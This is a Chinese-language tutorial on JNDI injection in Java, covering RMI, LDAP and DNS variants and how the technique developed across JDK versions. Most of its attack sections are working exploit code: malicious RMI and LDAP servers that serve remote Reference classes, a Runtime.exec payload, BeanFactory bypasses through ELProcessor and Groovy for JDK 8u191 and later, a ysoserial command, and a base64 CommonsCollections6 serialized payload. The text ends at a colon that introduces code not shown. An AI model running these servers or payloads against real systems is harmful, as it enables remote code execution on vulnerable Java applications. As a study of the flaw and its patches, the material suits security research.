一、JNDI 簡介
JNDI是什麼
JNDI(Java Naming and Directory Interface)是一個應用程序設計的 API,一種標準的 Java 命名系統接口。
JNDI 提供統一的客戶端 API,通過不同的JNDI服務供應接口(SPI)的實現,由管理者將 JNDI API 映射爲特定的命名服務和目錄系統,使得 Java 應用程序可以和這些命名服務和目錄服務之間進行交互。
通俗的說就是若程序定義了 JDNI 中的接口,則就可以通過該接口 API 訪問系統的命令服務和目錄服務,如下圖。
協議 | 作用 |
---|---|
LDAP | 輕量級目錄訪問協議,約定了 Client 與 Server 之間的信息交互格式、使用的端口號、認證方式等內容 |
RMI | JAVA 遠程方法協議,該協議用於遠程調用應用程序編程接口,使客戶機上運行的程序可以調用遠程服務器上的對象 |
DNS | 域名服務 |
CORBA | 公共對象請求代理體系結構 |
J2EE規範要求所有的J2EE容器都要提供JNDI規範的實現。JNDI就成爲了J2EE組件在運行期間間接地查找其他組件、資源或服務的通用機制。JNDI在J2EE中主要角色就是提供間接層,這樣組件可以發現所需資源,不用瞭解間接性。
JNDI解決了什麼問題
沒有JNDI之前,對於一個外部依賴,像Mysql數據庫,程序開發的過程中需要將具體的數據庫地址參數寫入到Java代碼中,程序才能找到具體的數據庫地址進行鏈接。那麼數據庫配置這些信息可能經常變動的。這就需要開發經常手動去調整配置。有了JNDI後,程序員可以不去管數據庫相關的配置信息,這些配置都交給J2EE容器來配置和管理,程序員只要對這些配置和管理進行引用即可。其實就是給資源起個名字,再根據名字來找資源。
二、JNDI注入原理分析
JNDI 注入,即當開發者在定義 JNDI
接口初始化時,lookup()
方法的參數被外部攻擊者可控,攻擊者就可以將惡意的 url
傳入參數,以此劫持被攻擊的Java客戶端的JNDI請求指向惡意的服務器地址,惡意的資源服務器地址響應了一個惡意Java對象載荷(reference實例 or 序列化實例),對象在被解析實例化,實例化的過程造成了注入攻擊。不同的注入方法區別主要就在於利用實例化注入的方式不同。
一個簡單的漏洞代碼示例如下,
package org.example; import javax.naming.InitialContext; import javax.naming.NamingException; public class jndi { public static void main(String[] args) throws NamingException { String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 變量 InitialContext initialContext = new InitialContext();// 得到初始目錄環境的一個引用 initialContext.lookup(uri); // 獲取指定的遠程對象 } }
代碼中定義了 uri 變量,uri 變量可控,並定義了一個 rmi 協議服務, rmi://127.0.0.1:1099/Exploit 爲攻擊者控制的鏈接,最後使用 lookup() 函數進行遠程獲取 Exploit 類(Exploit 類名爲攻擊者定義,不唯一),並執行它。
服務端攻擊代碼,
package jndi_rmi_injection; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.Reference; import com.sun.jndi.rmi.registry.ReferenceWrapper; public class RMIService { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(1099); // rmi監聽端口 Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); // payload攻擊載荷地址 ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("Exploit",wrapper); //rmi綁定服務名稱 } }
我們深入到源碼級別研究一下產生漏洞的原因。 先關注受攻擊客戶端。
InitialContext 類用於讀取 JNDI 的一些配置信息,內含對象和其在 JNDI 中的註冊名稱的映射信息。
InitialContext initialContext = new InitialContext(); // 初始化上下文,獲取初始目錄環境的一個引用
lookup(String name) 獲取 name 的數據,這裏的 uri 被定義爲 rmi://127.0.0.1:1099/Exploit 所以會通過 rmi 協議訪問 127.0.0.1:1099/Exploit
String uri = "rmi://127.0.0.1:1099/Exploit"; // 指定查找的 uri 變量 initialContext.lookup(uri); // 獲取指定的遠程對象
由於 lookup()
參數可控,導致漏洞的出現,跟進代碼如下,
以LDAP爲例,獲得遠程LDAPServer的Entry之後,跟進跟進com/sun/jndi/ldap/Obj.java#decodeObject,
按照該函數的註釋來看,其主要功能是解碼從LDAP Server來的對象,
- 該對象可能是序列化的對象
- 也可能是一個Reference對象
這裏先分析Reference對象的處理流程。
當客戶端在lookup()查找這個遠程對象時,客戶端會獲取相應的object factory,最終通過factory類將reference轉換爲具體的對象實例。
如果LDAP Server返回的屬性裏包括了 objectClass
和 javaNamingReference
,將進入Reference的處理函數decodeReference上。
decodeReference再從屬性中提取出 javaClassName
和 javaFactory
,最後將生成一個Reference。這裏生成的ref就是在RMI返回的那個ReferenceWrapper,後面這個ref將會傳遞給Naming Manager去處理,包括從codebase中獲取class文件並載入。
這裏繼續分析Serialized Object序列化對象的處理流程。
在com/sun/jndi/ldap/Obj.java#decodeObject上還存在一個判斷,
如果在返回的屬性中存在 javaSerializedData ,將繼續調用 deserializeObject 函數,該函數主要就是調用常規的反序列化方式readObject對序列化數據進行還原,如下payload。
@Override protected void processAttribute(Entry entry){ entry.addAttribute("javaClassName", "foo"); entry.addAttribute("javaSerializedData", serialized); }
接下來分析服務端攻擊代碼所使用的Reference類,Reference 是一個抽象類,每個 Reference 都有一個指向的對象,對象指定類會被加載並實例化。
在上面服務端代碼中,reference 指定了一個 Calculator 類,於遠程的 http://127.0.0.1:8081/ 服務端上,等待客戶端的調用並實例化執行。
以上就是JNDI注入的基本原理(核心就是遠程對象解析引發的對象重建過程帶來的風險調用鏈問題),但是JNDI注入並沒有這麼簡單,因爲java在漫長的迭代生涯中一直在添加新的補丁特性,使得JNDI的利用越來越困難(主要是禁用了從遠程加載Java對象),而同時安全研究員也在不斷研究出新的繞過利用方式(主要是尋找本地gadgets)。
三、JNDI注入漏洞復現
這一章採用最基礎的遠程reference對象注入,本章中的代碼將作爲後續章節的基礎。
JNDI+RMI 復現
漏洞利用過程歸納總結爲:
由於 lookup() 的參數可控,攻擊者在遠程服務器上構造惡意的 Reference 類綁定在 RMIServer 的 Registry 裏面,然後客戶端調用 lookup() 函數裏面的對象,遠程類獲取到 Reference 對象,客戶端接收 Reference 對象後,尋找 Reference 中指定的類,若查找不到,則會在 Reference 中指定的遠程地址去進行請求,請求到遠程的類後會在本地進行執行,從而達到 JNDI 注入攻擊。
1、項目代碼編寫
新建maven項目,
在 /src/java 目錄下創建一個包,包名爲 jndi_rmi_injection,
在創建的jndi_rmi_injection包下新建 rmi 服務端和客戶端,
服務端(RMIService.java)代碼,服務端是攻擊者控制的服務器
package jndi_rmi_injection; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.Reference; import com.sun.jndi.rmi.registry.ReferenceWrapper; public class RMIService { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(7778); Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("RCE",wrapper); } }
服務端端惡意載荷(Calculator.java)代碼
package jndi_rmi_injection; public class Calculator { public Calculator() throws Exception { Runtime.getRuntime().exec("open -a Calculator"); } }
筆者使用的是 mac 的環境,執行彈出計算器的命令爲”open -a Calculator“,若爲Windwos 修改爲”calc“即可。
客戶端(RMIClient.java)代碼,客戶端代表存在漏洞的受害端。
package jndi_rmi_injection; import javax.naming.InitialContext; import javax.naming.NamingException; public class RMIClient { public static void main(String[] args) throws NamingException{ String uri = "rmi://127.0.0.1:7778/RCE"; // 實際場景中這個url是外部攻擊者可控的,這裏爲了簡化直接硬編碼 InitialContext initialContext = new InitialContext(); initialContext.lookup(uri); } }
2、啓動RMI服務
將 HTTP 端惡意載荷 Calculator.java,編譯成 Calculator.class 文件,
在 Calculator.class 目錄下利用 Python 起一個臨時的 WEB 服務放置惡意載荷,這裏的端口必須要與 RMIServer.java 的 Reference 裏面的鏈接端口一致。
python3 -m http.server 8081
先運行攻擊者可控的RMI服務端,用於接受來自己客戶端的lookup請求,
3、啓動包含lookup功能的客戶端服務,即啓動存在被漏洞利用風險的服務
運行客戶端,模擬被攻擊者JNDI注入過程,遠程獲取惡意類,並執行惡意類代碼,實現彈窗。
JNDI+LDAP 復現
攻擊者搭建LDAP服務器,需要導入unboundid依賴庫。
在本項目根目錄下創建/lib目錄,用於放置本地依賴庫,點擊下載 unboundid-ldapsdk-3.2.0.jar,導入依賴即可,
LDAPServer.java 服務端代碼,服務端是攻擊者控制的服務器。
package jndi_rmi_injection; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:8081/#Calculator"; int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
客戶端(LDAPClient.java)代碼,客戶端代表存在漏洞的受害端。
package jndi_rmi_injection; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient { public static void main(String[] args) throws NamingException{ String url = "ldap://127.0.0.1:1234/Calculator"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
HTTP 端惡意載荷(Calculator.java)代碼和上一小節保持不變。
將 HTTP 端惡意載荷 Calculator.java,編譯成 Calculator.class 文件,在 Calculator.class 目錄下利用 Python 起一個臨時的 WEB 服務放置惡意載荷,這裏的端口必須要與 LDAPServer.java 的 Reference 裏面的鏈接端口一致。
先啓動服務端,
再啓動客戶端。
JNDI+DNS 復現
通過上面我們可知 JNDI 注入可以利用 RMI 協議和LDAP 協議搭建服務然後執行命令,但有個不好的點就是會暴露自己的服務器 IP 。在沒有確定存在漏洞前,直接在直接服務器上使用 RMI 或者 LDAP 去執行命令,通過日誌可分析得到攻擊者的服務器 IP,這樣在沒有獲取成果的前提下還暴露了自己的服務器 IP,得不償失。
爲了解決這個問題,可以使用DNS 協議進行探測,通過 DNS 協議去探測是否真的存在漏洞,再去利用 RMI 或者 LDAP 去執行命令,避免過早暴露服務器 IP,這也是平常大多數人習慣使用 DNSLog 探測的原因之一,同樣的 ldap 和 rmi 也可以使用 DNSLog 平臺去探測。
漏洞端代碼
package jndi_ldap_injection; import javax.naming.InitialContext; import javax.naming.NamingException; public class LDAPClient { public static void main(String[] args) throws NamingException{ String url = "dns://192rzl.dnslog.cn"; InitialContext initialContext = new InitialContext(); initialContext.lookup(url); } }
填入 DNSLog 平臺域名,或自己搭建的平臺域名,執行程序。
參考鏈接:
https://www.veracode.com/blog/research/exploiting-jndi-injections-java https://xz.aliyun.com/t/12277#toc-5 https://evilpan.com/2021/12/13/jndi-injection/#remote-class
四、不同JDK版本中JNDI注入存在的限制及繞過方法
Java JNDI注入有很多種不同的利用載荷,而這些Payload分別會面臨一些限制。
我們來整理一下,關於jndi的相關安全更新:
- JDK 6u132, JDK 7u122, JDK 8u113中添加了com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 的默認值變爲false。導致jndi的rmi reference方式失效,但ldap的reference方式仍然可行
- Oracle JDK 11.0.1、8u191、7u201、6u211之後 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整爲false。導致jndi的ldap reference方式失效,到這裏爲止,遠程codebase的方式基本失效,除非認爲設爲true
在最新版的jdk8u上,jndi ldap的本地反序列化利用鏈 1 和 2 的方式仍然未失效,jndi rmi底層(JRMPListener) StreamRemoteCall 的本地利用方式仍未失效。所以如果Reference的方式不行的時候,可以試試利用本地ClassPath裏的反序列化利用鏈來達成RCE。但前提是需要利用一個本地的反序列化利用鏈(如CommonsCollections、EL表達式等)。
我們接下來按照java版本的演進分別分析JNDI注入的方法。
在實驗前,要準備好不同版本的jdk方便測試。
6u45/7u21之前/JDK版本低於1.8.0_191
在這個版本之前,JNDI注入的利用條件是最寬鬆的,如果攻擊者可以控制lookup()的返回內容,就可以很容易地把返回內容設置成一個遠程Java對象下載地址,以此觸發遠程對象加載。
我們創建一個惡意的RMI服務器,並響應一個惡意的遠程Java對象下載地址。編譯後的RMI遠程對象類可以放在HTTP/FTP/SMB等服務器上
package jndi_rmi_injection; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.Reference; import com.sun.jndi.rmi.registry.ReferenceWrapper; public class RMIService { public static void main(String[] args) throws Exception{ Registry registry = LocateRegistry.createRegistry(7778); Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/"); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("RCE",wrapper); } }
我們創建了一個javax.naming.Reference的示例,把這個示例綁定到”/RCE“地址上,這個Export對象對目標服務器會從”http://127.0.0.1:8081/Calculator.class“這裏獲取字節碼,從而觸發1個RCE。
上面的代碼在Java 8u121 Oracle添加RMI代碼限制的前工作完美。之後,我們可以利用一個惡意的LDAP服務器響應相同信息,進行攻擊。
Java 8u121 Oracle添加的限制和Codebase機制有關。Codebase指定了Java程序在網絡上遠程加載類的路徑。RMI機制中交互的數據是序列化形式傳輸的,但是傳輸的只是對象的數據內容,RMI本身並不會傳遞類的代碼。當本地沒有該對象的類定義時,RMI提供了一些方法可以遠程加載類,也就是RMI動態加載類的特性。
當RMI對象發送序列化數據時,會在序列化流中附加上Codebase的信息,這個信息告訴接收方到什麼地方尋找該對象的執行代碼。
RMI客戶端在 lookup() 的過程中,
- 會先嚐試在本地CLASSPATH中去獲取對應的Stub類的定義,並從本地加載
- 然而如果在本地無法找到,RMI客戶端則會向遠程Codebase去獲取攻擊者指定的惡意對象。遠程Codebase實際上是一個URL表,該URL上存放了接收方需要的類文件。
當接收程序試圖從該URL的Webserver上下載類文件時,它會把類的包名轉化成目錄,在Codebase 的對應目錄下查詢類文件,如果你傳遞的是類文件 com.project.test ,那麼接受方就會到下面的URL去下載類文件:
http://url:8080/com/project/test.class
但是,從Java 8u121 Oracle後,rmi的trustURLCodebase默認設置爲false,將禁用自動加載遠程類文件,僅從CLASSPATH和當前VM的java.rmi.server.codebase 指定路徑加載類文件。使用這個屬性來防止客戶端VM從其他Codebase地址上動態加載類,增加了RMI ClassLoader的安全性。
Changelog:
- JDK 6u45 https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html
- JDK 7u21 http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html
具體被阻斷在於步驟4,如下圖。
雖然rmi遠程類加載默認被禁用了,但是在8u191之前,ldap的trustURLCodebase還是默認爲true的。
LDAP目錄服務是由目錄數據庫和一套訪問協議組成的系統。LDAP全稱是輕量級目錄訪問協議(The Lightweight Directory Access Protocol),它提供了一種查詢、瀏覽、搜索和修改互聯網目錄數據的機制,運行在TCP/IP協議棧之上,基於C/S架構。
Java對象在LDAP目錄中也有多種存儲形式:
- Java序列化
- JNDI Reference
- Marshalled對象
- Remote Location(已棄用)
LDAP可以爲存儲的Java對象指定多種屬性:
- javaCodeBase
- objectClass
- javaFactory
- javaSerializedData
- …
這裏 javaCodebase 屬性可以指定遠程的URL,這樣黑客可以控制反序列化中的class,通過JNDI Reference的方式進行利用,利用過程與上面RMI Reference基本一致,只是lookup()中的URL爲一個LDAP地址:ldap://xxx/xxx,由攻擊者控制的LDAP服務端返回一個惡意的JNDI Reference對象。並且LDAP服務的Reference遠程加載Factory類不受上一點中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等屬性的限制,所以適用範圍更廣。
package jndi_rmi_injection; import java.net.InetAddress; import java.net.MalformedURLException; import java.net.URL; import javax.net.ServerSocketFactory; import javax.net.SocketFactory; import javax.net.ssl.SSLSocketFactory; import com.unboundid.ldap.listener.InMemoryDirectoryServer; import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; import com.unboundid.ldap.sdk.Entry; import com.unboundid.ldap.sdk.LDAPException; import com.unboundid.ldap.sdk.LDAPResult; import com.unboundid.ldap.sdk.ResultCode; public class LDAPServer { private static final String LDAP_BASE = "dc=example,dc=com"; public static void main (String[] args) { String url = "http://127.0.0.1:8081/#Calculator"; int port = 1234; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig( "listen", InetAddress.getByName("0.0.0.0"), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; /** * */ public OperationInterceptor ( URL cb ) { this.codebase = cb; } /** * {@inheritDoc} * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult) */ @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry(base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class")); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName", "Exploit"); String cbstring = this.codebase.toString(); int refPos = cbstring.indexOf('#'); if ( refPos > 0 ) { cbstring = cbstring.substring(0, refPos); } e.addAttribute("javaCodeBase", cbstring); e.addAttribute("objectClass", "javaNamingReference"); e.addAttribute("javaFactory", this.codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult(0, ResultCode.SUCCESS)); } } }
不過在2018年10月,Java最終也修復了這個利用點,對LDAP Reference遠程工廠類的加載增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之後 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整爲false,還對應的分配了一個漏洞編號CVE-2018-3149。
這導致JNDI遠程類加載問題被修復。自此也就意味着遠程codebase的Reference方式被限制死了。
之後攻擊者利用jndi注入主要是進行不信任數據的反序列化,利用門檻變高,要求系統中存在gadgetl類。
JAVA 8u191之後
1、找到一個受害者本地CLASSPATH中的類作爲惡意的Reference Factory工廠類,並利用這個本地的Factory類執行命令
JAVA 8u191時,JNDI客戶端在接受遠程引用對象的時候,不使用classFactoryLoction,但是我們還是可以通過JavaFactory來指定一個任意的工廠類,這個類時用於從攻擊者控制的Reference對象中提取真實的對象。
這個工廠類需要滿足以下幾個條件:
- 真實對象要求必須存在目標系統的classpath
- 工廠類必須實現 javax.naming.spi.ObjectFactory 接口,並且至少存在一個 getObjectInstance() 方法
接下來的問題就是,我們需要找到一個工廠類在classpath中,它對Reference的屬性做了一些不安全的動作。
org.apache.naming.factory.BeanFactory 剛好滿足條件並且存在被利用的可能,
- org.apache.naming.factory.BeanFactory 默認存在於Tomcat依賴包中,所以使用也是非常廣泛
- org.apache.naming.factory.BeanFactory 在 getObjectInstance() 中會通過反射的方式實例化Reference所指向的任意Bean Class,並且會調用setter方法爲所有的屬性賦值。而該Bean Class的類名、屬性、屬性值,全都來自於Reference對象,均是攻擊者可控的
配置jdk 8b192,
org.apache.naming.factory.BeanFactory#getObjectInstance中,包含了一段利用反射創建bean的代碼。
這裏利用BeanFactory工廠類加載ELProcessor類,
取forceString的值,以等號逗號截取拿到鍵x和對應的method即ELProcessor的eval,並且填充了一個string類型的參數作爲method的反射調用,最後通過method名和一個string的參數拿到eval函數。
這裏使用的魔性屬性時“forceString", 通過設置“x=eval”,我們可以將x屬性對應的setter設置成eval函數。
同時,Javax.el.ELProcessor類,存在一個eval方法,接收一個字符串,該字符串將表示要執行的Java表達式語言模板。
ELProcessor_rmi_server.java服務端代碼如下,服務端是攻擊者控制的服務器。
package jndi_rmi_injection; import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.StringRefAddr; import org.apache.naming.ResourceRef; public class ELProcessor_rmi_server { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null); resourceRef.add(new StringRefAddr("forceString", "a=eval")); resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")")); //觸發點在resourceRef的getObjectInstance()方法中 ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef); registry.bind("Exploit", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
BeanFactory 創建了一個任意bean類實例並執行了它所有的setter函數。這個任意bean類的名字、屬性、屬性值都來自於Reference對象,外部完全可控。基本上相當於一個任意類後門了。
除了el表達式之外還有groovy也可以,原理一樣,代碼如下。
package jndi_rmi_injection; import com.sun.jndi.rmi.registry.ReferenceWrapper; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import javax.naming.StringRefAddr; import org.apache.naming.ResourceRef; public class ELProcessor_rmi_server { public static void main(String[] args) { try { Registry registry = LocateRegistry.createRegistry(1098); ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=parseClass")); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\")\n" + "})\n" + "def x\n"; ref.add(new StringRefAddr("x",script)); ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref); registry.bind("Exploit", referenceWrapper); } catch (Exception e) { e.printStackTrace(); } } }
maven配置好grovvy的包依賴,
<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>org.example</groupId> <artifactId>JNDI_test</artifactId> <version>1.0-SNAPSHOT</version> <properties> <maven.compiler.source>8</maven.compiler.source> <maven.compiler.target>8</maven.compiler.target> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> </properties> <dependencies> <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-catalina</artifactId> <version>8.0.36</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-dbcp</artifactId> <version>8.0.36</version> </dependency> <dependency> <groupId>org.apache.tomcat</groupId> <artifactId>tomcat-jasper</artifactId> <version>8.0.36</version> </dependency> <dependency> <groupId>org.codehaus.groovy</groupId> <artifactId>groovy-all</artifactId> <version>2.4.9</version> </dependency> <dependency> <groupId>com.unboundid</groupId> <artifactId>unboundid-ldapsdk</artifactId> <version>4.0.0</version> </dependency> </dependencies> </project>
2、從JNDI服務遠程獲取一個Java反序列化對象,利用反序列化Gadget完成命令執行
LDAP Server除了使用JNDI Reference進行利用之外,還支持直接返回一個對象的序列化數據。如果Java對象的 javaSerializedData 屬性值不爲空,則客戶端的 obj.decodeObject() 方法就會對這個字段的內容進行反序列化。
其中具體的處理代碼如下:
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) { ClassLoader cl = helper.getURLClassLoader(codebases); return deserializeObject((byte[])attr.get(), cl); }
我們假設目標系統中存在着有漏洞的CommonsCollections庫,使用ysoserial生成一個CommonsCollections的利用Payload:
下載鏈接 :https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
java -jar ysoserial.jar CommonsCollections6 '/System/Applications/Calculator.app'|base64
rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0ACMvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcHQABGV4ZWN1cQB+ABsAAAABcQB+ACBzcQB+AA9zcgARamF2YS5sYW5nLkludGVnZXIS4qCk94GHOAIAAUkABXZhbHVleHIAEGphdmEubGFuZy5OdW1iZXKGrJUdC5TgiwIAAHhwAAAAAXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh4
LDAP Server關鍵代碼如下,我們在javaSerializedData字段內填入剛剛生成的反序列化payload數據:
